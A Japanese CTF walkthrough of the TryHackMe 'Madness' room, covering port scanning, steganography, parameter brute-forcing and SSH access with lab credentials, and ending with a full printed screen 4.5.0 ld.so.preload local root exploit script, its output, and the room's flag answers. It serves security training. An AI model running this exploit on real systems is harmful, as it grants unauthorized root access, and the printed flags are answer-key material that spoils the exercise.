0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

概要

TryHackMe「Madness」のWalkthroughです。

Task1

Q1.user.txt

Hint.There's something ROTten about this guys name!

ポートスキャンを実行します。

$ nmap -Pn -sC -sV -A -T4 -p- 10.10.143.87 -oN nmap_result
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ac:f9:85:10:52:65:6e:17:f5:1c:34:e7:d8:64:67:b1 (RSA)
|   256 dd:8e:5a:ec:b1:95:cd:dc:4d:01:b3:fe:5f:4e:12:c1 (ECDSA)
|_  256 e9:ed:e3:eb:58:77:3b:00:5e:3a:f5:24:d8:58:34:8e (ED25519)
80/tcp    open     http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
1882/tcp  filtered ecsqdmn
5266/tcp  filtered unknown
28501/tcp filtered unknown
41855/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 7.2p2
80 http Apache httpd 2.4.18

ディレクトリの列挙を行いましたが、めぼしいものは見つかりませんでした。

$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://10.10.143.87/FUZZ -recursion -recursion-depth 1 -ic -c -o ffuf_result
                        [Status: 200, Size: 11320, Words: 3506, Lines: 377, Duration: 240ms]
:: Progress: [141695/141695] :: Job [1/1] :: 168 req/sec :: Duration: [0:14:18] :: Errors: 0 ::

80番ポートではApacheのデフォルトページが表示されました。

home page.png

ソースコードを見ると興味深いコメントアウトやthm.jpgを読み込んでいると分かりました。

home source.png

Webサイト上で表示されていないthm.jpgを取得します。

$ wget http://10.10.143.87/thm.jpg

ステガノグラフィーを疑いファイルの抽出を試みましたがパスフレーズが分かりませんでした。

$ steghide extract -sf thm.jpg       
Enter passphrase:

バイナリエディタで見るとマジックナンバーはPNG形式になっています。

thm jpg.png

なので、JPGのFF D8 FF E0 00 10 4A 46 49 46 00 01に変更します。

convert to jpg.png

すると画像が表示され/th1s_1s_h1dd3nというパスがわかりました。

hidden path.png

アクセスし、ソースコードを見るとsecret0~99の間で推測する必要があるとコメントに書かれています。

hidden page source code.png

/th1s_1s_h1dd3n/?secret=0の形式で99までブルートフォースします。

get request.png

set number.png

73の時にレスポスサイズが他より大きいので怪しいです。

finish.png

/th1s_1s_h1dd3n/?secret=73へアクセスするとy2RPJ4QaPF!Bという文字列を得られました。

73 page.png

これを先ほど出来なかったステガノグラフィーのファイル抽出に使用します。

$ steghide extract -sf thm1.jpg 
Enter passphrase: 
wrote extracted data to "hidden.txt".

hidden.txtが得られました。

hidden.txt
Fine you found the password! 

Here's a username 

wbxre

I didn't say I would make it easy for you!

ユーザー名らしき文字列が得られました。
これをROT13で復号するとjokerというユーザー名を得られました。

rot13.png

今度はルームにある画像をダウンロードします。

5iW7kC8.jpg

この画像もsteghideでファイルを抽出します。
パスワードなしでpassword.txtの抽出に成功しました。

$ steghide extract -sf 5iW7kC8.jpg
Enter passphrase: 
wrote extracted data to "password.txt".

password.txtにもパスワードらしき文字列がありました。

password.txt
I didn't think you'd find me! Congratulations!

Here take my password

*axA&GF8dP

Username: joker,Password: *axA&GF8dPでSSH接続に成功しました。

$ ssh joker@10.10.143.87
joker@ubuntu:~$

/home/joker/user.txtからユーザーフラグを入手できます。

/home/joker/user.txt
THM{d5781e53b130efe2f94f9b0354a5e4ea}

A.THM{d5781e53b130efe2f94f9b0354a5e4ea}

Q2.root.txt

SUIDビットがセットされたプログラムを探します。

$ find / -user root -perm -4000 2>/dev/null

(省略)

/bin/screen-4.5.0
/bin/screen-4.5.0.old

/bin/screen-4.5.0という興味深いプログラムを発見しました。
このプログラムでexploitを検索すると権限昇格の脆弱性を発見しました。

exploitコードを作成します。

exploit.sh
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell

実行するとrootのシェルを取得できました。

$ ./exploit.sh 
./exploit.sh: line 1: creenroot.sh: command not found
~ gnu/screenroot ~
[+] First, we create our shell and library...
/tmp/libhax.c: In function ‘dropshell’:
/tmp/libhax.c:7:5: warning: implicit declaration of function ‘chmod’ [-Wimplicit-function-declaration]
     chmod("/tmp/rootshell", 04755);
     ^
/tmp/rootshell.c: In function ‘main’:
/tmp/rootshell.c:3:5: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
     setuid(0);
     ^
/tmp/rootshell.c:4:5: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
     setgid(0);
     ^
/tmp/rootshell.c:5:5: warning: implicit declaration of function ‘seteuid’ [-Wimplicit-function-declaration]
     seteuid(0);
     ^
/tmp/rootshell.c:6:5: warning: implicit declaration of function ‘setegid’ [-Wimplicit-function-declaration]
     setegid(0);
     ^
/tmp/rootshell.c:7:5: warning: implicit declaration of function ‘execvp’ [-Wimplicit-function-declaration]
     execvp("/bin/sh", NULL, NULL);
     ^
[+] Now we create our /etc/ld.so.preload file...
[+] Triggering...
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
No Sockets found in /tmp/screens/S-joker.

# whoami
root

/root/root.txtからルートフラグを入手できます。

/root/root.txt
THM{5ecd98aa66a6abb670184d7547c8124a}

A.THM{5ecd98aa66a6abb670184d7547c8124a}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?